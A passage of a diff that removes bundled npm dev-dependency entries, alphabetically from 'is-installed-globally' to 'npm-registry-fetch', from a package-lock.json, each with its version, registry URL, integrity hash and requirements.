"number-is-nan": "^1.0.0" - } - }, - "is-installed-globally": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/is-installed-globally/-/is-installed-globally-0.1.0.tgz", - "integrity": "sha1-Df2Y9akRFxbdU13aZJL2e/PSWoA=", - "bundled": true, - "dev": true, - "requires": { - "global-dirs": "^0.1.0", - "is-path-inside": "^1.0.0" - } - }, - "is-npm": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-npm/-/is-npm-1.0.0.tgz", - "integrity": "sha1-8vtjpl5JBbQGyGBydloaTceTufQ=", - "bundled": true, - "dev": true - }, - "is-obj": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz", - "integrity": "sha1-PkcprB9f3gJc19g6iW2rn09n2w8=", - "bundled": true, - "dev": true - }, - "is-path-inside": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-1.0.1.tgz", - "integrity": "sha1-jvW33lBDej/cprToZe96pVy0gDY=", - "bundled": true, - "dev": true, - "requires": { - "path-is-inside": "^1.0.1" - } - }, - "is-redirect": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-redirect/-/is-redirect-1.0.0.tgz", - "integrity": "sha1-HQPd7VO9jbDzDCbk+V02/HyH3CQ=", - "bundled": true, - "dev": true - }, - "is-retry-allowed": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-1.1.0.tgz", - "integrity": "sha1-EaBgVotnM5REAz0BJaYaINVk+zQ=", - "bundled": true, - "dev": true - }, - "is-stream": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", - "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=", - "bundled": true, - "dev": true - }, - "is-typedarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", - "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", - "bundled": true, - "dev": true - }, - "isarray": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", - "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", - "bundled": true, - "dev": true - }, - "isexe": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", - "bundled": true, - "dev": true - }, - "isstream": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", - "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", - "bundled": true, - "dev": true - }, - "jsbn": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", - "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=", - "bundled": true, - "dev": true, - "optional": true - }, - "json-parse-better-errors": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", - "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", - "bundled": true, - "dev": true - }, - "json-schema": { - "version": "0.2.3", - "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", - "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=", - "bundled": true, - "dev": true - }, - "json-stable-stringify": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz", - "integrity": "sha1-mnWdOcXy/1A/1TAGRu1EX4jE+a8=", - "bundled": true, - "dev": true, - "requires": { - "jsonify": "~0.0.0" - } - }, - "json-stringify-safe": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", - "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=", - "bundled": true, - "dev": true - }, - "jsonify": { - "version": "0.0.0", - "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.0.tgz", - "integrity": "sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=", - "bundled": true, - "dev": true - }, - "jsonparse": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz", - "integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA=", - "bundled": true, - "dev": true - }, - "JSONStream": { - "version": "1.3.3", - "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.3.tgz", - "integrity": "sha512-3Sp6WZZ/lXl+nTDoGpGWHEpTnnC6X5fnkolYZR6nwIfzbxxvA8utPWe1gCt7i0m9uVGsSz2IS8K8mJ7HmlduMg==", - "bundled": true, - "dev": true, - "requires": { - "jsonparse": "^1.2.0", - "through": ">=2.2.7 <3" - } - }, - "jsprim": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", - "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", - "bundled": true, - "dev": true, - "requires": { - "assert-plus": "1.0.0", - "extsprintf": "1.3.0", - "json-schema": "0.2.3", - "verror": "1.10.0" - }, - "dependencies": { - "assert-plus": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", - "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", - "bundled": true, - "dev": true - } - } - }, - "latest-version": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/latest-version/-/latest-version-3.1.0.tgz", - "integrity": "sha1-ogU4P+oyKzO1rjsYq+4NwvNW7hU=", - "bundled": true, - "dev": true, - "requires": { - "package-json": "^4.0.0" - } - }, - "lazy-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/lazy-property/-/lazy-property-1.0.0.tgz", - "integrity": "sha1-hN3Es3Bnm6i9TNz6TAa0PVcREUc=", - "bundled": true, - "dev": true - }, - "lcid": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", - "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", - "bundled": true, - "dev": true, - "requires": { - "invert-kv": "^1.0.0" - } - }, - "libcipm": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/libcipm/-/libcipm-2.0.0.tgz", - "integrity": "sha512-yTWR7Ch7Mg891KZj+1yhcWhztO6tuAcBLdmCvBXv2pbCzV5/DOEDjDQdZmmYn5mFwI96kOSu+OIMRTmLsxrNZw==", - "bundled": true, - "dev": true, - "requires": { - "bin-links": "^1.1.2", - "bluebird": "^3.5.1", - "find-npm-prefix": "^1.0.2", - "graceful-fs": "^4.1.11", - "lock-verify": "^2.0.2", - "npm-lifecycle": "^2.0.3", - "npm-logical-tree": "^1.2.1", - "npm-package-arg": "^6.1.0", - "pacote": "^8.1.6", - "protoduck": "^5.0.0", - "read-package-json": "^2.0.13", - "rimraf": "^2.6.2", - "worker-farm": "^1.6.0" - } - }, - "libnpmhook": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/libnpmhook/-/libnpmhook-4.0.1.tgz", - "integrity": "sha512-3qqpfqvBD1712WA6iGe0stkG40WwAeoWcujA6BlC0Be1JArQbqwabnEnZ0CRcD05Tf1fPYJYdCbSfcfedEJCOg==", - "bundled": true, - "dev": true, - "requires": { - "figgy-pudding": "^3.1.0", - "npm-registry-fetch": "^3.0.0" - }, - "dependencies": { - "npm-registry-fetch": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/npm-registry-fetch/-/npm-registry-fetch-3.1.1.tgz", - "integrity": "sha512-xBobENeenvjIG8PgQ1dy77AXTI25IbYhmA3DusMIfw/4EL5BaQ5e1V9trkPrqHvyjR3/T0cnH6o0Wt/IzcI5Ag==", - "bundled": true, - "dev": true, - "requires": { - "bluebird": "^3.5.1", - "figgy-pudding": "^3.1.0", - "lru-cache": "^4.1.2", - "make-fetch-happen": "^4.0.0", - "npm-package-arg": "^6.0.0" - } - } - } - }, - "libnpx": { - "version": "10.2.0", - "resolved": "https://registry.npmjs.org/libnpx/-/libnpx-10.2.0.tgz", - "integrity": "sha512-X28coei8/XRCt15cYStbLBph+KGhFra4VQhRBPuH/HHMkC5dxM8v24RVgUsvODKCrUZ0eTgiTqJp6zbl0sskQQ==", - "bundled": true, - "dev": true, - "requires": { - "dotenv": "^5.0.1", - "npm-package-arg": "^6.0.0", - "rimraf": "^2.6.2", - "safe-buffer": "^5.1.0", - "update-notifier": "^2.3.0", - "which": "^1.3.0", - "y18n": "^4.0.0", - "yargs": "^11.0.0" - } - }, - "locate-path": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", - "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", - "bundled": true, - "dev": true, - "requires": { - "p-locate": "^2.0.0", - "path-exists": "^3.0.0" - } - }, - "lock-verify": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/lock-verify/-/lock-verify-2.0.2.tgz", - "integrity": "sha512-QNVwK0EGZBS4R3YQ7F1Ox8p41Po9VGl2QG/2GsuvTbkJZYSsPeWHKMbbH6iZMCHWSMww5nrJroZYnGzI4cePuw==", - "bundled": true, - "dev": true, - "requires": { - "npm-package-arg": "^5.1.2 || 6", - "semver": "^5.4.1" - } - }, - "lockfile": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/lockfile/-/lockfile-1.0.4.tgz", - "integrity": "sha512-cvbTwETRfsFh4nHsL1eGWapU1XFi5Ot9E85sWAwia7Y7EgB7vfqcZhTKZ+l7hCGxSPoushMv5GKhT5PdLv03WA==", - "bundled": true, - "dev": true, - "requires": { - "signal-exit": "^3.0.2" - } - }, - "lodash._baseindexof": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/lodash._baseindexof/-/lodash._baseindexof-3.1.0.tgz", - "integrity": "sha1-/lK1OhxnYeQmGNZU5KJXie1hgiw=", - "bundled": true, - "dev": true - }, - "lodash._baseuniq": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash._baseuniq/-/lodash._baseuniq-4.6.0.tgz", - "integrity": "sha1-DrtE5FaBSveQXGIS+iybLVG4Qeg=", - "bundled": true, - "dev": true, - "requires": { - "lodash._createset": "~4.0.0", - "lodash._root": "~3.0.0" - } - }, - "lodash._bindcallback": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/lodash._bindcallback/-/lodash._bindcallback-3.0.1.tgz", - "integrity": "sha1-5THCdkTPi1epnhftlbNcdIeJOS4=", - "bundled": true, - "dev": true - }, - "lodash._cacheindexof": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/lodash._cacheindexof/-/lodash._cacheindexof-3.0.2.tgz", - "integrity": "sha1-PcaayCSY0u5ePOVgkbr9Ktx73pI=", - "bundled": true, - "dev": true - }, - "lodash._createcache": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/lodash._createcache/-/lodash._createcache-3.1.2.tgz", - "integrity": "sha1-VtagZAF2JeeevKa4AY4XRAvc8JM=", - "bundled": true, - "dev": true, - "requires": { - "lodash._getnative": "^3.0.0" - } - }, - "lodash._createset": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/lodash._createset/-/lodash._createset-4.0.3.tgz", - "integrity": "sha1-D0ZZ+7CddRlPqeK4imZE02PJ/iY=", - "bundled": true, - "dev": true - }, - "lodash._getnative": { - "version": "3.9.1", - "resolved": "https://registry.npmjs.org/lodash._getnative/-/lodash._getnative-3.9.1.tgz", - "integrity": "sha1-VwvH3t5G1hzc3mh9ZdPuy6o6r/U=", - "bundled": true, - "dev": true - }, - "lodash._root": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/lodash._root/-/lodash._root-3.0.1.tgz", - "integrity": "sha1-+6HEUkwZ7ppfgTa0YJ8BfPTe1pI=", - "bundled": true, - "dev": true - }, - "lodash.clonedeep": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", - "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=", - "bundled": true, - "dev": true - }, - "lodash.restparam": { - "version": "3.6.1", - "resolved": "https://registry.npmjs.org/lodash.restparam/-/lodash.restparam-3.6.1.tgz", - "integrity": "sha1-k2pOMJ7zMKdkXtQUWYbIWuWyCAU=", - "bundled": true, - "dev": true - }, - "lodash.union": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz", - "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg=", - "bundled": true, - "dev": true - }, - "lodash.uniq": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", - "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=", - "bundled": true, - "dev": true - }, - "lodash.without": { - "version": "4.4.0", - "resolved": "https://registry.npmjs.org/lodash.without/-/lodash.without-4.4.0.tgz", - "integrity": "sha1-PNRXSgC2e643OpS3SHcmQFB7eqw=", - "bundled": true, - "dev": true - }, - "lowercase-keys": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", - "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==", - "bundled": true, - "dev": true - }, - "lru-cache": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.3.tgz", - "integrity": "sha512-fFEhvcgzuIoJVUF8fYr5KR0YqxD238zgObTps31YdADwPPAp82a4M8TrckkWyx7ekNlf9aBcVn81cFwwXngrJA==", - "bundled": true, - "dev": true, - "requires": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" - } - }, - "make-dir": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-1.3.0.tgz", - "integrity": "sha512-2w31R7SJtieJJnQtGc7RVL2StM2vGYVfqUOvUDxH6bC6aJTxPxTF0GnIgCyu7tjockiUWAYQRbxa7vKn34s5sQ==", - "bundled": true, - "dev": true, - "requires": { - "pify": "^3.0.0" - } - }, - "make-fetch-happen": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-4.0.1.tgz", - "integrity": "sha512-7R5ivfy9ilRJ1EMKIOziwrns9fGeAD4bAha8EB7BIiBBLHm2KeTUGCrICFt2rbHfzheTLynv50GnNTK1zDTrcQ==", - "bundled": true, - "dev": true, - "requires": { - "agentkeepalive": "^3.4.1", - "cacache": "^11.0.1", - "http-cache-semantics": "^3.8.1", - "http-proxy-agent": "^2.1.0", - "https-proxy-agent": "^2.2.1", - "lru-cache": "^4.1.2", - "mississippi": "^3.0.0", - "node-fetch-npm": "^2.0.2", - "promise-retry": "^1.1.1", - "socks-proxy-agent": "^4.0.0", - "ssri": "^6.0.0" - } - }, - "meant": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/meant/-/meant-1.0.1.tgz", - "integrity": "sha512-UakVLFjKkbbUwNWJ2frVLnnAtbb7D7DsloxRd3s/gDpI8rdv8W5Hp3NaDb+POBI1fQdeussER6NB8vpcRURvlg==", - "bundled": true, - "dev": true - }, - "mem": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/mem/-/mem-1.1.0.tgz", - "integrity": "sha1-Xt1StIXKHZAP5kiVUFOZoN+kX3Y=", - "bundled": true, - "dev": true, - "requires": { - "mimic-fn": "^1.0.0" - } - }, - "mime-db": { - "version": "1.33.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.33.0.tgz", - "integrity": "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ==", - "bundled": true, - "dev": true - }, - "mime-types": { - "version": "2.1.18", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.18.tgz", - "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==", - "bundled": true, - "dev": true, - "requires": { - "mime-db": "~1.33.0" - } - }, - "mimic-fn": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz", - "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==", - "bundled": true, - "dev": true - }, - "minimatch": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", - "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==", - "bundled": true, - "dev": true, - "requires": { - "brace-expansion": "^1.1.7" - } - }, - "minimist": { - "version": "0.0.8", - "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz", - "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=", - "bundled": true, - "dev": true - }, - "minipass": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/minipass/-/minipass-2.3.3.tgz", - "integrity": "sha512-/jAn9/tEX4gnpyRATxgHEOV6xbcyxgT7iUnxo9Y3+OB0zX00TgKIv/2FZCf5brBbICcwbLqVv2ImjvWWrQMSYw==", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "^5.1.2", - "yallist": "^3.0.0" - }, - "dependencies": { - "yallist": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.0.2.tgz", - "integrity": "sha1-hFK0u36Dx8GI2AQcGoN8dz1ti7k=", - "bundled": true, - "dev": true - } - } - }, - "minizlib": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-1.1.0.tgz", - "integrity": "sha512-4T6Ur/GctZ27nHfpt9THOdRZNgyJ9FZchYO1ceg5S8Q3DNLCKYy44nCZzgCJgcvx2UM8czmqak5BCxJMrq37lA==", - "bundled": true, - "dev": true, - "requires": { - "minipass": "^2.2.1" - } - }, - "mississippi": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz", - "integrity": "sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA==", - "bundled": true, - "dev": true, - "requires": { - "concat-stream": "^1.5.0", - "duplexify": "^3.4.2", - "end-of-stream": "^1.1.0", - "flush-write-stream": "^1.0.0", - "from2": "^2.1.0", - "parallel-transform": "^1.1.0", - "pump": "^3.0.0", - "pumpify": "^1.3.3", - "stream-each": "^1.1.0", - "through2": "^2.0.0" - } - }, - "mkdirp": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", - "integrity": "sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=", - "bundled": true, - "dev": true, - "requires": { - "minimist": "0.0.8" - } - }, - "move-concurrently": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/move-concurrently/-/move-concurrently-1.0.1.tgz", - "integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=", - "bundled": true, - "dev": true, - "requires": { - "aproba": "^1.1.1", - "copy-concurrently": "^1.0.0", - "fs-write-stream-atomic": "^1.0.8", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.3" - } - }, - "ms": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", - "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==", - "bundled": true, - "dev": true - }, - "mute-stream": { - "version": "0.0.7", - "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz", - "integrity": "sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=", - "bundled": true, - "dev": true - }, - "node-fetch-npm": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/node-fetch-npm/-/node-fetch-npm-2.0.2.tgz", - "integrity": "sha512-nJIxm1QmAj4v3nfCvEeCrYSoVwXyxLnaPBK5W1W5DGEJwjlKuC2VEUycGw5oxk+4zZahRrB84PUJJgEmhFTDFw==", - "bundled": true, - "dev": true, - "requires": { - "encoding": "^0.1.11", - "json-parse-better-errors": "^1.0.0", - "safe-buffer": "^5.1.1" - } - }, - "node-gyp": { - "version": "3.7.0", - "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.7.0.tgz", - "integrity": "sha512-qDQE/Ft9xXP6zphwx4sD0t+VhwV7yFaloMpfbL2QnnDZcyaiakWlLdtFGGQfTAwpFHdpbRhRxVhIHN1OKAjgbg==", - "bundled": true, - "dev": true, - "requires": { - "fstream": "^1.0.0", - "glob": "^7.0.3", - "graceful-fs": "^4.1.2", - "mkdirp": "^0.5.0", - "nopt": "2 || 3", - "npmlog": "0 || 1 || 2 || 3 || 4", - "osenv": "0", - "request": ">=2.9.0 <2.82.0", - "rimraf": "2", - "semver": "~5.3.0", - "tar": "^2.0.0", - "which": "1" - }, - "dependencies": { - "nopt": { - "version": "3.0.6", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", - "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", - "bundled": true, - "dev": true, - "requires": { - "abbrev": "1" - } - }, - "semver": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.3.0.tgz", - "integrity": "sha1-myzl094C0XxgEq0yaqa00M9U+U8=", - "bundled": true, - "dev": true - }, - "tar": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.1.tgz", - "integrity": "sha1-jk0qJWwOIYXGsYrWlK7JaLg8sdE=", - "bundled": true, - "dev": true, - "requires": { - "block-stream": "*", - "fstream": "^1.0.2", - "inherits": "2" - } - } - } - }, - "nopt": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/nopt/-/nopt-4.0.1.tgz", - "integrity": "sha1-0NRoWv1UFRk8jHUFYC0NF81kR00=", - "bundled": true, - "dev": true, - "requires": { - "abbrev": "1", - "osenv": "^0.1.4" - } - }, - "normalize-package-data": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.4.0.tgz", - "integrity": "sha512-9jjUFbTPfEy3R/ad/2oNbKtW9Hgovl5O1FvFWKkKblNXoN/Oou6+9+KKohPK13Yc3/TyunyWhJp6gvRNR/PPAw==", - "bundled": true, - "dev": true, - "requires": { - "hosted-git-info": "^2.1.4", - "is-builtin-module": "^1.0.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" - } - }, - "npm-audit-report": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/npm-audit-report/-/npm-audit-report-1.3.1.tgz", - "integrity": "sha512-SjTF8ZP4rOu3JiFrTMi4M1CmVo2tni2sP4TzhyCMHwnMGf6XkdGLZKt9cdZ12esKf0mbQqFyU9LtY0SoeahL7g==", - "bundled": true, - "dev": true, - "requires": { - "cli-table3": "^0.5.0", - "console-control-strings": "^1.1.0" - } - }, - "npm-bundled": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/npm-bundled/-/npm-bundled-1.0.3.tgz", - "integrity": "sha512-ByQ3oJ/5ETLyglU2+8dBObvhfWXX8dtPZDMePCahptliFX2iIuhyEszyFk401PZUNQH20vvdW5MLjJxkwU80Ow==", - "bundled": true, - "dev": true - }, - "npm-cache-filename": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/npm-cache-filename/-/npm-cache-filename-1.0.2.tgz", - "integrity": "sha1-3tMGxbC/yHCp6fr4I7xfKD4FrhE=", - "bundled": true, - "dev": true - }, - "npm-install-checks": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/npm-install-checks/-/npm-install-checks-3.0.0.tgz", - "integrity": "sha1-1K7N/VGlPjcjt7L5Oy7ijjB7wNc=", - "bundled": true, - "dev": true, - "requires": { - "semver": "^2.3.0 || 3.x || 4 || 5" - } - }, - "npm-lifecycle": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/npm-lifecycle/-/npm-lifecycle-2.0.3.tgz", - "integrity": "sha512-0U4Iim5ix2NHUT672G7FBpldJX0N2xKBjJqRTAzioEJjb6I6KpQXq+y1sB5EDSjKaAX8VCC9qPK31Jy+p3ix5A==", - "bundled": true, - "dev": true, - "requires": { - "byline": "^5.0.0", - "graceful-fs": "^4.1.11", - "node-gyp": "^3.6.2", - "resolve-from": "^4.0.0", - "slide": "^1.1.6", - "uid-number": "0.0.6", - "umask": "^1.1.0", - "which": "^1.3.0" - } - }, - "npm-logical-tree": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/npm-logical-tree/-/npm-logical-tree-1.2.1.tgz", - "integrity": "sha512-AJI/qxDB2PWI4LG1CYN579AY1vCiNyWfkiquCsJWqntRu/WwimVrC8yXeILBFHDwxfOejxewlmnvW9XXjMlYIg==", - "bundled": true, - "dev": true - }, - "npm-package-arg": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/npm-package-arg/-/npm-package-arg-6.1.0.tgz", - "integrity": "sha512-zYbhP2k9DbJhA0Z3HKUePUgdB1x7MfIfKssC+WLPFMKTBZKpZh5m13PgexJjCq6KW7j17r0jHWcCpxEqnnncSA==", - "bundled": true, - "dev": true, - "requires": { - "hosted-git-info": "^2.6.0", - "osenv": "^0.1.5", - "semver": "^5.5.0", - "validate-npm-package-name": "^3.0.0" - } - }, - "npm-packlist": { - "version": "1.1.10", - "resolved": "https://registry.npmjs.org/npm-packlist/-/npm-packlist-1.1.10.tgz", - "integrity": "sha512-AQC0Dyhzn4EiYEfIUjCdMl0JJ61I2ER9ukf/sLxJUcZHfo+VyEfz2rMJgLZSS1v30OxPQe1cN0LZA1xbcaVfWA==", - "bundled": true, - "dev": true, - "requires": { - "ignore-walk": "^3.0.1", - "npm-bundled": "^1.0.1" - } - }, - "npm-pick-manifest": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/npm-pick-manifest/-/npm-pick-manifest-2.1.0.tgz", - "integrity": "sha512-q9zLP8cTr8xKPmMZN3naxp1k/NxVFsjxN6uWuO1tiw9gxg7wZWQ/b5UTfzD0ANw2q1lQxdLKTeCCksq+bPSgbQ==", - "bundled": true, - "dev": true, - "requires": { - "npm-package-arg": "^6.0.0", - "semver": "^5.4.1" - } - }, - "npm-profile": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/npm-profile/-/npm-profile-3.0.2.tgz", - "integrity": "sha512-rEJOFR6PbwOvvhGa2YTNOJQKNuc6RovJ6T50xPU7pS9h/zKPNCJ+VHZY2OFXyZvEi+UQYtHRTp8O/YM3tUD20A==", - "bundled": true, - "dev": true, - "requires": { - "aproba": "^1.1.2 || 2", - "make-fetch-happen": "^2.5.0 || 3 || 4" - } - }, - "npm-registry-client": { - "version": "8.5.1", - "resolved": "https://registry.npmjs.org/npm-registry-client/-/npm-registry-client-8.5.1.tgz", - "integrity": "sha512-7rjGF2eA7hKDidGyEWmHTiKfXkbrcQAsGL/Rh4Rt3x3YNRNHhwaTzVJfW3aNvvlhg4G62VCluif0sLCb/i51Hg==", - "bundled": true, - "dev": true, - "requires": { - "concat-stream": "^1.5.2", - "graceful-fs": "^4.1.6", - "normalize-package-data": "~1.0.1 || ^2.0.0", - "npm-package-arg": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0", - "npmlog": "2 || ^3.1.0 || ^4.0.0", - "once": "^1.3.3", - "request": "^2.74.0", - "retry": "^0.10.0", - "safe-buffer": "^5.1.1", - "semver": "2 >=2.2.1 || 3.x || 4 || 5", - "slide": "^1.1.3", - "ssri": "^5.2.4" - }, - "dependencies": { - "retry": { - "version": "0.10.1", - "resolved": "https://registry.npmjs.org/retry/-/retry-0.10.1.tgz", - "integrity": "sha1-52OI0heZLCUnUCQdPTlW/tmNj/Q=", - "bundled": true, - "dev": true - }, - "ssri": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/ssri/-/ssri-5.3.0.tgz", - "integrity": "sha512-XRSIPqLij52MtgoQavH/x/dU1qVKtWUAAZeOHsR9c2Ddi4XerFy3mc1alf+dLJKl9EUIm/Ht+EowFkTUOA6GAQ==", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "^5.1.1" - } - } - } - }, - "npm-registry-fetch": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/npm-registry-fetch/-/npm-registry-fetch-1.1.0.tgz", - "integrity": "sha512-XJPIBfMtgaooRtZmuA42xCeLf3tkxdIX0xqRsGWwNrcVvJ9UYFccD7Ho7QWCzvkM3i/QrkUC37Hu0a+vDBmt5g==", - "bundled": true, - "dev": true, - "requires": { - "bluebird": "^3.5.1", - "figgy-pudding": "^2.0.1", - "lru-cache": "^4.1.2", - "make-fetch-happen": "^3.0.0", - "npm-package-arg": "^6.0.0", - "safe-buffer": "^5.1.1" - }, - "dependencies": { - "cacache": { - "version": "10.0.4", - "resolved": 